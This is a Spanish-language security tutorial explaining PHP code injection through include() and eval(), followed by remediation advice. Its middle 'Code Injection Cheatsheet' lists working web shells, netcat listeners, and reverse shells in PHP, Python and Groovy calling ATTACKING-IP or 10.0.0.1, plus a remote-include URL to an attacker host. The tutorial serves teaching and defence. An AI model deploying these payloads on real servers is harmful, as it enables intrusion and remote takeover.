Inyección de código es el término general para los tipos de ataque que consisten en inyectar código que luego es interpretado/ejecutado por la aplicación. Este tipo de ataque se aprovecha de una mala gestión de los datos que no son de confianza.
Requerimientos:
- Dominio – Un dominio para realizar las pruebas
- Programación – Conocimientos altos de programación
Resposabilidad:
En este tutorías utilizaremos técnicas de hacking, con el único fin de aprendizaje. No promovemos su utilización ni con fines lucrativos o incorrectos. No nos hacemos responsables de cualquier daño o menoscabo que pueda generar en los sistemas utilizados. La responsabilidad es absoluta del usuario de este tutorial.
Conocimientos:
- Linux – Alto
- Programación – Alto
- Kali Linux – Alto
- Windows – No aplica
- Redes – Bajo
Nivel general del Tutorial: Alto
Ideal para: Desarrolladores de codigo, Ingenieros de seguridad, Pentesters
¿Qué es la inyección de código?
OWASP define la Inyección de Código como un término general para cualquier tipo de ataque que consiste en inyectar código que luego es interpretado y ejecutado por la aplicación. Este tipo de ataque se aprovecha del mal manejo de datos no confiables. Este tipo de ataques suele ser posible debido a la falta de validación adecuada de los datos de entrada/salida, como por ejemplo:
- caracteres permitidos (clases de expresiones regulares estándar o personalizadas)
- formato de los datos
- cantidad de datos esperados
La inyección de código difiere de la inyección de comandos en que un atacante está limitado sólo por la funcionalidad del propio lenguaje inyectado. Si un atacante puede inyectar y ejecutar código PHP en una aplicación, entonces sólo está limitado por las capacidades de PHP. La inyección de comandos consiste en aprovechar el código existente para ejecutar comandos, normalmente en el contexto de un shell.
¿Cómo funciona?
Escenario 1: Función PHP include()
En este escenario, la función PHP include() está en uso sin validación de entrada.
http://vulnerable-site.com/?path=support.php
Para explotar la vulnerabilidad, almacenaremos nuestro payload en un servidor externo para llamar al archivo externo y ejecutarlo en el servidor vulnerable:
http://vulnerable-site.com/?path=http://attacker-website/paylaod.php
Escenario 2: Función PHP eval()
En este ejemplo, se utiliza la vulnerable función PHP eval(), que proporciona una forma rápida y conveniente de ejecutar valores de cadena como código PHP, especialmente en las fases iniciales del desarrollo o para la depuración que provocará la inyección de código. El código fuente tiene el siguiente aspecto:
<?php eval ("echo ".$_REQUEST["parameter"].";"); ?>
El parámetro se pasa a la URL de la siguiente manera:
http://vulnerable-site.com/?parameter=value
Un atacante que conozca la función eval() en uso (puede revelarse a través de los mensajes de error) puede enviar el siguiente payload para explotar la vulnerabilidad:
http://vulnerable-site.com/?parameter=value;phpinfo();
Si tiene éxito, phpinfo() se ejecutará después de hacer «eco» del valor del parámetro y proporcionará información sobre los detalles de la configuración.
Además, en caso de que la función system() también esté habilitada, esto puede permitir al atacante ejecutar comandos arbitrarios como los que se muestran a continuación:
http://vulnerable-site.com/?parameter=value;system('ls -l');
¿Cuál es el impacto de la inyección de código?
En caso de que el código malicioso de la entrada del usuario se procese de forma insegura, la vulnerabilidad permite la ejecución del código. Esto puede llevar a la ejecución de código arbitrario en el servidor o a la ejecución de comandos del sistema en el servidor, lo que lleva a ataques de inyección de comandos. En función de los privilegios actuales, el ataque puede dar lugar a la obtención de un shell interactivo en el sistema vulnerable.
Code Injection Cheatsheet
# Execute one command <?php system("whoami"); ?> <?php echo shell_exec("nc.exe -nlvp 4444 -C:\Windows\System32\cmd.exe");?> # Take input from the url paramter. shell.php?cmd=whoami <?php system($_GET['cmd']); ?> <?php echo shell_exec($_GET["cmd"]); ?> <? passthru($_GET["cmd"]); ?> php -r '$sock=fsockopen("ATTACKING-IP",80);exec("/bin/sh -i <&3 >&3 2>&3");' <?php $c=$_GET['c']; echo `$c`; ?> # The same but using passthru <?php passthru($_GET['cmd']); ?> # For shell_exec to output the result you need to echo it <?php echo shell_exec("whoami");?> # preg_replace(). This is a cool trick <?php preg_replace('/.*/e', 'system("whoami");', ''); ?> # Using backticks <?php $output = `whoami`; echo "<pre>$output</pre>"; ?> # Using backticks <?php echo `whoami`; ?> # upload nc.php <?php echo system("nc -lvp 81 -e cmd.exe");?> # upload nc.exe # run nc.php on browser
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' import socket,subprocess,os; s=socket.socket(socket.AF_INET,socket.SOCK_STREAM); s.connect(("10.0.0.1",1234)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); p=subprocess.call(["/bin/sh","-i"]);
r = Runtime.getRuntime() p = r.exec(["/bin/bash","-c","exec 5<>/dev/tcp/ATTACKING-IP/80;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[]) p.waitFor()
Remediación
Para evitar y remediar la inyección de código puede hacer lo siguiente:
- Validación/sanitización de la entrada del usuario: Los datos procedentes de todas las fuentes potencialmente no fiables deben someterse a una validación de entrada, incluyendo no sólo a los clientes web orientados a Internet, sino también a las alimentaciones de backend a través de extranets, de proveedores, socios, vendedores o reguladores, cada uno de los cuales puede verse comprometido por sí mismo y empezar a enviar datos malformados.
- Evitar el uso de funciones vulnerables en el código: También es posible probar el código utilizando herramientas automatizadas para identificar funciones inseguras y posibles vulnerabilidades.
- PS: Las funciones comúnmente deshabilitadas para PHP incluyen: exec(), passthru(), shell_exec(), system(), proc_open(), popen(), curl_exec(), curl_multi_exec(), parse_ini_file(), y show_source().
¿Cómo evitar la inyección de código?
Hay varias maneras de prevenir la inyección de código. A continuación se ofrecen algunos consejos para ayudar a prevenir la inyección de código.
- Examine la aplicación en busca de varios caracteres de escape y otros símbolos especiales. Asegúrese de que la aplicación sólo acepta un conjunto limitado de valores.
- Asegúrese de que se evita el código eval() en las entradas brutas que dan los usuarios. Sólo utilizan características específicas del lenguaje.
- Debes saber que cualquier conjunto de datos puede tener un código de ataque inyectado, por lo que debes tratar todos los datos como no confiables. Debes saber dónde se pueden manipular tus datos. La inyección de código no se limita al código HTML y a las cadenas de consulta. Estas inyecciones de código también pueden tener lugar en las cookies y los archivos de datos.
- El siguiente paso para evitar la inyección de código es bloquear su intérprete. Esto sólo es posible si tiene en sus manos el control de la configuración del servidor. La funcionalidad del intérprete puede ser limitada si usted tiene el control. Esto se puede hacer para limitar la funcionalidad al mínimo necesario para su aplicación. Esto se puede explicar con el ejemplo- eliminar la función system() si su aplicación no utiliza esta función. Esto puede hacerse especificándolo en la directiva disable_functions.
- Varias herramientas de comprobación de código estático pueden ayudarle a comprobar su código. Estas herramientas le ayudarán a revisar su código en busca de cualquier código no deseado y le ayudarán a validar y sanear su código.
- Hay escáneres de vulnerabilidad web dinámicos que pueden ayudarle a escanear su aplicación. Estos escáneres le ayudarán a asegurarse de que las aplicaciones que utiliza están a salvo de varios ataques en línea.
Conclusión
El mundo de Internet está lleno de amenazas, y hay nuevos tipos de amenazas que siguen llegando a Internet. Y de estas amenazas y ciberataques hay que mantenerse alejado. Cuando navegas por internet, puede haber posibilidades de que seas el próximo objetivo del ciberataque. Uno de estos ataques es la inyección de código, que afecta a su conexión con la aplicación web y explota sus resultados. Bueno, hay varios métodos para ayudarle a evitar este tipo de ataque cibernético. El ataque de inyección de código puede incluir: inyecciones de java, inyecciones de código PHP, inyección de código HTML e inyección de javascript.
Estos afectan sólo el tipo particular de funcionalidad, que sólo es proporcionada por el código particular. Este artículo discute los diversos aspectos de la inyección de código. La lectura de este artículo le ayudará a aprender qué es la inyección de código y cómo se implementa. Esto se explica con el ejemplo de la inyección de código. Este artículo también explica los diversos métodos para ayudar a prevenir las inyecciones de código, y lo peligroso que puede ser para su sistema y los datos.
Espero que les sirva de ayuda.